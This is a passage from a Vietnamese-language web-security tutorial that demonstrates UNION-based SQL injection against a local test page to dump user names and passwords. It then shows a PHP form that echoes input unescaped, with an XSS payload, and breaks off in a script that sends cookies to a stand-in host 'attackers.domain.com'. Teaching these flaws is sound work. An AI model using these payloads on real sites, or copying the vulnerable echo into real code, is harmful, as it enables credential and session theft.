Kết quả ta được:
[[Image::BMLAMP_MySQL_012.jpg]]
Như vậy tài khoản trong bảng user đã bị lộ. Trở lại với trường hợp trang chỉ có ra một kết quả, mặc dù tập kết quả trả về từ query vẫn là 3, nhưng khi hiện ra trang chỉ lấy kết quả đầu tiên, nên hacker chưa thể có được kết quả trong bảng user. Ta thử với URL sau:
<pre>
http://localhost/SECURITY/union.php?id=-1' union select 1,name,pass from user %23'
</pre>
Kết quả ta được khi lấy toàn bộ kết quả:
[[Image::BMLAMP_MySQL_013.jpg]]
Khi lấy 1 kết quả:
[[Image::BMLAMP_MySQL_014.jpg]]
[[Image::BMLAMP_MySQL_015.jpg]]
Khi số id ở SELECT đầu tiên không tồn tại, tức kết quả trả về là rỗng, khi đó kết quả sẽ chỉ có ở SELECT thứ hai. Union dùng để gộp query với các bảng '''có số trường bằng nhau'''. Ta thử thêm một trường nữa vào bảng post:
PHP Code:
ALTER TABLE `post` ADD `order` VARCHAR( 100 ) NOT NULL AFTER `text` ;
Lúc này, bảng post đã có số trường khác với bảng user, ta chạy thử câu query ban đầu:
PHP Code:
SELECT * FROM post WHERE id='-1' union select id,name,pass from user #''
Ngay lập tức, MySQL sẽ báo lỗi hai bảng không có số trường bằng nhau:
[[Image::BMLAMP_MySQL_016.jpg]]
Nhưng hãy thử bằng query sau đây:
PHP Code:
SELECT * FROM post WHERE id='-1' union select id,name,pass,1 from user #''
Kết quả đã lấy được dữ liệu từ bảng user một cách hợp lệ mà không phải gặp thông báo lỗi:
[[Image::BMLAMP_MySQL_017.jpg]]
Từ đây ta rút ra được, đừng nên nghĩ rằng hai bảng không có số trường giống nhau thì sẽ không cho ra kết qua khi dùng Union!
Ngoài việc lấy dữ liệu, hacker còn có thê khai thác qua các lệnh INSERT và UPDATE để thêm mới hoặc cập nhật dữ liệu trái phép như thêm tài khoản mới với quyền quản trị, cập nhật từ người dùng bình thường thành quản trị. Hacker còn có thể lấy các thông tin về máy chủ CSDL bằng các hàm như: DATABASE(),USER(),SYSTEM_USER(). Nguy hiểm với dữ liệu hơn là có thể dùng lệnh DROP để xóa đi một bảng nào đó!
<input type="text" name="keyword" value="<?=$_POST['keyword']?>"> <input type="submit" value="Search">
</form>
<?php
set_magic_quotes_runtime(FALSE);
if(isset($_POST['keyword']) && !empty($_POST['keyword'])) {
echo 'Từ khóa cần tìm là: '.$_POST['keyword'];
}
?>
Sau khi chạy trang, bạn hãy nhập đoạn sau vào ô tìm kiếm:
PHP Code:
Oh <script>alert('XSS')</script>
Kết quả ta được:
[[Image:BMLAMP_002.jpg]]
Như bạn thấy, mã javascript đã bị thực thi trái phép. Javascript có thể lấy được cookie, hacker có thể dùng đoạn mã sau đây để lấy cookie của người dùng, từ đó có thể truy cập trái phép vào tài khoản của họ nếu website không được bảo mật kỹ, hacker có thể lựa nạn nhân truy cập đường dẫn có kèm theo đoạn mã sau nếu dùng phương thức GET:
PHP Code:
<script>
document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document